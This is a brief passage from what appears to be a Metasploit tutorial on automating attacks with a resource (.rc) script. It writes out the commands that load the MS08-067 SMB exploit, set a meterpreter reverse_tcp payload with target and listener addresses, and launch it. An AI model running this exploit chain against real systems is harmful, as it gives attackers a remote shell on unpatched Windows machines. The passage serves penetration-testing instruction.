In the following recipe, we will look at how to write a basic script.
Follow the given steps for writing a basic script:
- We open up any editor—
nano
,leafpad
, and so on. - Here, we type all the commands we would want MSF to execute:
use exploit/windows/smb/ms08_067_netapiset payload windows/meterpreter/reverse_tcpset RHOST 192.168.15.15set LHOST 192.168.15.20set LPORT 4444exploit -j
- We save the script with a
.rc
extension:
- Now we start
msfconsole
and type the command to automatically exploit the machine:
Note
A resource script is just one way of automating Metasploit; you can learn about other ways of automating Metasploit in this article at https://community.rapid7.com/community/metasploit/blog/2011/12/08/six-ways-to-automate-metasploit.